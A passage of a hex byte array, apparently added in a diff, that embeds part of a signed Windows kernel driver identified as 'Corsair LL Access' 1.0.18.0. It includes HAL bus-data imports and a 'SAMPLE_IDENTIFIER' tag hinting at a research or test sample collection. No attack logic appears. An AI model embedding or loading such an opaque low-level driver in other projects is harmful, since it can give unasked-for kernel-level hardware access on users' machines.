0x02, 0x49, 0x6F, 0x46, 0x72, 0x65, 0x65, 0x4D, 0x64, 0x6C, 0x00, + 0xED, 0x02, 0x49, 0x6F, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x6F, 0x72, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x49, + 0x64, 0x00, 0xBB, 0x0A, 0x5F, 0x5F, 0x43, 0x5F, 0x73, 0x70, 0x65, 0x63, + 0x69, 0x66, 0x69, 0x63, 0x5F, 0x68, 0x61, 0x6E, 0x64, 0x6C, 0x65, 0x72, + 0x00, 0x00, 0xD9, 0x03, 0x4B, 0x65, 0x42, 0x75, 0x67, 0x43, 0x68, 0x65, + 0x63, 0x6B, 0x45, 0x78, 0x00, 0x00, 0x6E, 0x74, 0x6F, 0x73, 0x6B, 0x72, + 0x6E, 0x6C, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x19, 0x00, 0x48, 0x61, + 0x6C, 0x47, 0x65, 0x74, 0x42, 0x75, 0x73, 0x44, 0x61, 0x74, 0x61, 0x42, + 0x79, 0x4F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x00, 0x3D, 0x00, 0x48, 0x61, + 0x6C, 0x53, 0x65, 0x74, 0x42, 0x75, 0x73, 0x44, 0x61, 0x74, 0x61, 0x42, + 0x79, 0x4F, 0x66, 0x66, 0x73, 0x65, 0x74, 0x00, 0x48, 0x41, 0x4C, 0x2E, + 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x02, 0x00, 0x0A, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x80, + 0x10, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0xA0, 0x00, 0x00, 0x80, 0x50, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x09, 0x04, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x09, 0x04, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0xB0, 0x60, 0x00, 0x00, + 0x37, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xE8, 0x60, 0x00, 0x00, 0x40, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x52, 0x00, 0x45, 0x00, 0x53, 0x00, + 0x4E, 0x00, 0x41, 0x00, 0x4D, 0x00, 0x45, 0x00, 0x53, 0x41, 0x4D, 0x50, + 0x4C, 0x45, 0x5F, 0x49, 0x44, 0x45, 0x4E, 0x54, 0x49, 0x46, 0x49, 0x45, + 0x52, 0x7B, 0x64, 0x64, 0x33, 0x38, 0x66, 0x37, 0x66, 0x63, 0x2D, 0x64, + 0x37, 0x62, 0x64, 0x2D, 0x34, 0x38, 0x38, 0x62, 0x2D, 0x39, 0x32, 0x34, + 0x32, 0x2D, 0x37, 0x64, 0x38, 0x37, 0x35, 0x34, 0x63, 0x64, 0x65, 0x38, + 0x30, 0x64, 0x7D, 0x00, 0x40, 0x03, 0x34, 0x00, 0x00, 0x00, 0x56, 0x00, + 0x53, 0x00, 0x5F, 0x00, 0x56, 0x00, 0x45, 0x00, 0x52, 0x00, 0x53, 0x00, + 0x49, 0x00, 0x4F, 0x00, 0x4E, 0x00, 0x5F, 0x00, 0x49, 0x00, 0x4E, 0x00, + 0x46, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, 0xBD, 0x04, 0xEF, 0xFE, + 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x12, 0x00, + 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x12, 0x00, 0x3F, 0x00, 0x00, 0x00, + 0x08, 0x00, 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0x03, 0x00, 0x00, 0x00, + 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x9E, 0x02, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00, 0x74, 0x00, 0x72, 0x00, + 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, + 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, + 0x7A, 0x02, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, 0x34, 0x00, 0x30, 0x00, + 0x39, 0x00, 0x30, 0x00, 0x34, 0x00, 0x42, 0x00, 0x30, 0x00, 0x00, 0x00, + 0x4A, 0x00, 0x15, 0x00, 0x01, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x6D, 0x00, + 0x70, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x79, 0x00, 0x4E, 0x00, 0x61, 0x00, + 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, + 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, + 0x4D, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, + 0x2C, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x2E, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x4C, 0x00, 0x12, 0x00, 0x01, 0x00, 0x46, 0x00, + 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x44, 0x00, 0x65, 0x00, 0x73, 0x00, + 0x63, 0x00, 0x72, 0x00, 0x69, 0x00, 0x70, 0x00, 0x74, 0x00, 0x69, 0x00, + 0x6F, 0x00, 0x6E, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, + 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, + 0x4C, 0x00, 0x4C, 0x00, 0x20, 0x00, 0x41, 0x00, 0x63, 0x00, 0x63, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x00, 0x32, 0x00, 0x09, 0x00, + 0x01, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x56, 0x00, + 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, + 0x31, 0x00, 0x38, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x44, 0x00, 0x12, 0x00, 0x01, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x74, 0x00, + 0x65, 0x00, 0x72, 0x00, 0x6E, 0x00, 0x61, 0x00, 0x6C, 0x00, 0x4E, 0x00, + 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, + 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, + 0x4C, 0x00, 0x4C, 0x00, 0x20, 0x00, 0x41, 0x00, 0x63, 0x00, 0x63, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x00, 0x8A, 0x00, 0x33, 0x00, + 0x01, 0x00, 0x4C, 0x00, 0x65, 0x00, 0x67, 0x00, 0x61, 0x00, 0x6C, 0x00, + 0x43, 0x00, 0x6F, 0x00, 0x70, 0x00, 0x79, 0x00, 0x72, 0x00, 0x69, 0x00, + 0x67, 0x00, 0x68, 0x00, 0x74, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, + 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, + 0x4D, 0x00, 0x65, 0x00, 0x6D, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x79, 0x00, + 0x2C, 0x00, 0x20, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x63, 0x00, 0x2E, 0x00, + 0x20, 0x00, 0x28, 0x00, 0x63, 0x00, 0x29, 0x00, 0x20, 0x00, 0x32, 0x00, + 0x30, 0x00, 0x31, 0x00, 0x39, 0x00, 0x2C, 0x00, 0x20, 0x00, 0x41, 0x00, + 0x6C, 0x00, 0x6C, 0x00, 0x20, 0x00, 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, + 0x68, 0x00, 0x74, 0x00, 0x73, 0x00, 0x20, 0x00, 0x72, 0x00, 0x65, 0x00, + 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x64, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x4C, 0x00, 0x12, 0x00, 0x01, 0x00, 0x4F, 0x00, + 0x72, 0x00, 0x69, 0x00, 0x67, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x61, 0x00, + 0x6C, 0x00, 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x6E, 0x00, + 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, + 0x72, 0x00, 0x73, 0x00, 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, + 0x4C, 0x00, 0x4C, 0x00, 0x20, 0x00, 0x41, 0x00, 0x63, 0x00, 0x63, 0x00, + 0x65, 0x00, 0x73, 0x00, 0x73, 0x00, 0x00, 0x00, 0x44, 0x00, 0x12, 0x00, + 0x01, 0x00, 0x50, 0x00, 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, + 0x63, 0x00, 0x74, 0x00, 0x4E, 0x00, 0x61, 0x00, 0x6D, 0x00, 0x65, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x6F, 0x00, 0x72, 0x00, 0x73, 0x00, + 0x61, 0x00, 0x69, 0x00, 0x72, 0x00, 0x20, 0x00, 0x4C, 0x00, 0x4C, 0x00, + 0x20, 0x00, 0x41, 0x00, 0x63, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, + 0x73, 0x00, 0x00, 0x00, 0x36, 0x00, 0x09, 0x00, 0x01, 0x00, 0x50, 0x00, + 0x72, 0x00, 0x6F, 0x00, 0x64, 0x00, 0x75, 0x00, 0x63, 0x00, 0x74, 0x00, + 0x56, 0x00, 0x65, 0x00, 0x72, 0x00, 0x73, 0x00, 0x69, 0x00, 0x6F, 0x00, + 0x6E, 0x00, 0x00, 0x00, 0x31, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x2E, 0x00, + 0x31, 0x00, 0x38, 0x00, 0x2E, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x44, 0x00, 0x00, 0x00, 0x01, 0x00, 0x56, 0x00, 0x61, 0x00, 0x72, 0x00, + 0x46, 0x00, 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, + 0x66, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00, 0x04, 0x00, + 0x00, 0x00, 0x54, 0x00, 0x72, 0x00, 0x61, 0x00, 0x6E, 0x00, 0x73, 0x00, + 0x6C, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6F, 0x00, 0x6E, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x09, 0x04, 0xB0, 0x04, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x20, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, 0x00, 0xA1, 0x08, 0xA1, + 0xD8, 0xA1, 0xF0, 0xA1, 0xF8, 0xA1, 0x00, 0xA2, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD8, 0x24, 0x00, 0x00, + 0x00, 0x02, 0x02, 0x00, 0x30, 0x82, 0x24, 0xCC, 0x06, 0x09, 0x2A, 0x86, + 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x07, 0x02, 0xA0, 0x82, 0x24, 0xBD, 0x30, + 0x82, 0x24, 0xB9, 0x02, 0x01, 0x01, 0x31, 0x0F, 0x30, 0x0D, 0x06, 0x09, + 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x30, + 0x5C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, + 0x04, 0xA0, 0x4E, 0x30, 0x4C, 0x30, 0x17, 0x06, 0x0A, 0x2B, 0x06, 0x01, + 0x04, 0x01, 0x82, 0x37, 0x02, 0x01, 0x0F, 0x30, 0x09, 0x03, 0x01, 0x00, + 0xA0, 0x04, 0xA2, 0x02, 0x80, 0x00, 0x30, 0x31, 0x30, 0x0D, 0x06, 0x09, + 0x60, 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02, 0x01, 0x05, 0x00, 0x04, + 0x20, 0xE4, 0xAC, 0x5C, 0x7F, 0xBB, 0x41, 0xEE, 0x98, 0x80, 0x29, 0xB2, + 0x7D, 0x8B, 0x6B, 0xE5, 0x74, 0x72, 0x56, 0x89, 0xFD, 0x13, 0x65, 0xF5, + 0xA5, 0x6F, 0x5A, 0x12, 0xD9, 0x12, 0x0F, 0x86, 0xC6, 0xA0, 0x82, 0x0D, + 0xD4, 0x30, 0x82, 0x06, 0x7C, 0x30, 0x82, 0x04, 0x64, 0xA0, 0x03, 0x02, + 0x01, 0x02, 0x02, 0x13, 0x33, 0x00, 0x00, 0x00, 0x31, 0x94, 0x79, 0xA3, + 0x18, 0xF5, 0x52, 0x2D, 0x06, 0x00, 0x00, 0x00, 0x00, 0x00, 0x31, 0x30, + 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, + 0x05, 0x00, 0x30, 0x81, 0x8E, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, + 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, + 0x55, 0x04, 0x08, 0x13, 0x0A, 0x57, 0x61, 0x73, 0x68, 0x69, 0x6E, 0x67, + 0x74, 0x6F, 0x6E, 0x31, 0x10, 0x30, 0x0E, 0x06, 0x03, 0x55, 0x04, 0x07, + 0x13, 0x07, 0x52, 0x65, 0x64, 0x6D, 0x6F, 0x6E, 0x64, 0x31, 0x1E, 0x30, + 0x1C, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x15, 0x4D, 0x69, 0x63, 0x72, + 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, + 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x38, 0x30, 0x36, 0x06, 0x03, 0x55, + 0x04, 0x03, 0x13, 0x2F, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, + 0x74, 0x20, 